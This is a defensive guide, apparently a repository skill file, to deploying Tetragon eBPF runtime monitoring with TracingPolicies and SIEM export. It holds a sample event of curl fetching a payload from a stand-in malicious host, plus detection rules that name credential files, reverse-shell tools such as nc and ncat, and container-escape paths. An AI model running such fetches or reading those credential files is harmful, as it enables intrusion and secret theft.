pinkpixel-dev/implementing-ebpf-security-monitoring

Implementing eBPF Security Monitoring

When to Use

• When deploying kernel-level runtime security monitoring on Linux hosts or Kubernetes clusters
• When you need sub-millisecond visibility into process execution, network connections, and file access
• When traditional userspace monitoring tools introduce unacceptable performance overhead
• When building detection pipelines that require in-kernel filtering before events reach userspace
• When enforcing runtime security policies (kill process, send signal) at the kernel level

Prerequisites

• Linux kernel 5.3+ with BTF (BPF Type Format) support enabled
• Kubernetes 1.24+ cluster (for Kubernetes deployment) or standalone Linux host
• Helm 3.x installed (for Kubernetes deployment)
• kubectl configured with cluster access
• tetra CLI installed for local event streaming
• Python 3.8+ with requests, kubernetes, pyyaml dependencies
• Root or CAP_BPF/CAP_SYS_ADMIN capabilities for eBPF program loading

Instructions

1. Install Tetragon on Kubernetes

Deploy Tetragon via Helm to get default process lifecycle observability:

helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system \
  --set tetragon.enableProcessCred=true \
  --set tetragon.enableProcessNs=true

Verify the installation:

kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | head -20

2. Install Tetragon on Standalone Linux

For non-Kubernetes Linux hosts, install from the tarball release:

curl -LO https://github.com/cilium/tetragon/releases/latest/download/tetragon-linux-amd64.tar.gz
tar xzf tetragon-linux-amd64.tar.gz
sudo cp tetragon /usr/local/bin/
sudo cp tetra /usr/local/bin/

# Start tetragon daemon
sudo tetragon --btf /sys/kernel/btf/vmlinux &

# Stream events
tetra getevents -o compact

3. Monitor Process Execution (Default)

Tetragon generates process_exec and process_exit events by default without any TracingPolicy:

# Stream process events in compact format
tetra getevents -o compact

# Stream in JSON for SIEM ingestion
tetra getevents -o json | jq '.process_exec // .process_exit'

Example process_exec JSON event:

{
  "process_exec": {
    "process": {
      "binary": "/usr/bin/curl",
      "arguments": "https://malicious.example.com/payload",
      "cwd": "/tmp",
      "uid": 1000,
      "pod": {
        "namespace": "default",
        "name": "webapp-7b4d9f8c6-x2k9p"
      },
      "parent": {
        "binary": "/bin/bash",
        "pid": 1234
      }
    }
  }
}

4. Author TracingPolicy for File Access Monitoring

Create a TracingPolicy CRD to monitor access to sensitive files via the sys_openat kprobe:

# file-access-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-sensitive-file-access
spec:
  kprobes:
    - call: "fd_install"
      syscall: false
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "file"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/etc/passwd"
                - "/etc/sudoers"
                - "/root/.ssh/"
                - "/etc/kubernetes/pki/"
          matchActions:
            - action: Post

Apply and observe:

kubectl apply -f file-access-monitor.yaml
tetra getevents -o compact --process-filter "event_set:PROCESS_KPROBE"

5. Author TracingPolicy for Network Connection Monitoring

Monitor outbound TCP connections using the tcp_connect kprobe:

# network-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-tcp-connections
spec:
  kprobes:
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
      selectors:
        - matchActions:
            - action: Post

6. Author TracingPolicy for Privilege Escalation Detection

Detect setuid/setgid calls that may indicate privilege escalation:

# privilege-escalation-detect.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-privilege-escalation
spec:
  kprobes:
    - call: "__sys_setuid"
      syscall: false
      args:
        - index: 0
          type: "int"
      selectors:
        - matchArgs:
            - index: 0
              operator: "Equal"
              values:
                - "0"
          matchActions:
            - action: Post
    - call: "commit_creds"
      syscall: false
      args:
        - index: 0
          type: "cred"
      selectors:
        - matchActions:
            - action: Post

7. Runtime Enforcement with Sigkill Action

Block unauthorized binary execution by killing the process in-kernel:

# enforce-binary-allowlist.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: enforce-no-crypto-miners
spec:
  kprobes:
    - call: "sys_execve"
      syscall: true
      args:
        - index: 0
          type: "string"
      selectors:
        - matchArgs:
            - index: 0
              operator: "Postfix"
              values:
                - "xmrig"
                - "minerd"
                - "cpuminer"
                - "cryptonight"
          matchActions:
            - action: Sigkill

8. Export Events to SIEM

Configure Tetragon to export JSON events to a file sink for Fluentd/Filebeat/Vector ingestion:

# Helm values for file export
helm upgrade tetragon cilium/tetragon -n kube-system \
  --set tetragon.exportFilename=/var/log/tetragon/tetragon.log \
  --set tetragon.exportFileMaxSizeMB=100 \
  --set tetragon.exportFileMaxBackups=5

Then configure your log shipper (e.g., Filebeat) to tail /var/log/tetragon/tetragon.log and send to your SIEM.

9. Kubernetes-Aware Namespace Filtering

Use TracingPolicyNamespaced to scope monitoring to specific namespaces:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicyNamespaced
metadata:
  name: monitor-production-file-access
  namespace: production
spec:
  kprobes:
    - call: "fd_install"
      syscall: false
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "file"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/etc/passwd"

Examples

Detect Reverse Shell Connections

# reverse-shell-detect.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-reverse-shells
spec:
  kprobes:
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
      selectors:
        - matchBinaries:
            - operator: "In"
              values:
                - "/bin/bash"
                - "/bin/sh"
                - "/usr/bin/python3"
                - "/usr/bin/perl"
                - "/usr/bin/nc"
                - "/usr/bin/ncat"
          matchActions:
            - action: Post

Monitor Container Escape Attempts

# container-escape-detect.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-container-escape
spec:
  kprobes:
    - call: "sys_openat"
      syscall: true
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "string"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/proc/1/root"
                - "/proc/1/ns"
                - "/sys/kernel/security"
                - "/proc/sysrq-trigger"
          matchActions:
            - action: Post
    - call: "sys_mount"
      syscall: true
      args:
        - index: 0
          type: "string"
        - index: 1
          type: "string"
        - index: 2
          type: "string"
      selectors:
        - matchActions:
            - action: Post

Full Event Pipeline: Tetragon to Elasticsearch

# Use tetra CLI to pipe events through jq into Elasticsearch
tetra getevents -o json | jq -c 'select(.process_kprobe != null)' | \
  while IFS= read -r line; do
    curl -s -X POST "http://elasticsearch:9200/tetragon-events/_doc" \
      -H "Content-Type: application/json" \
      -d "$line"
  done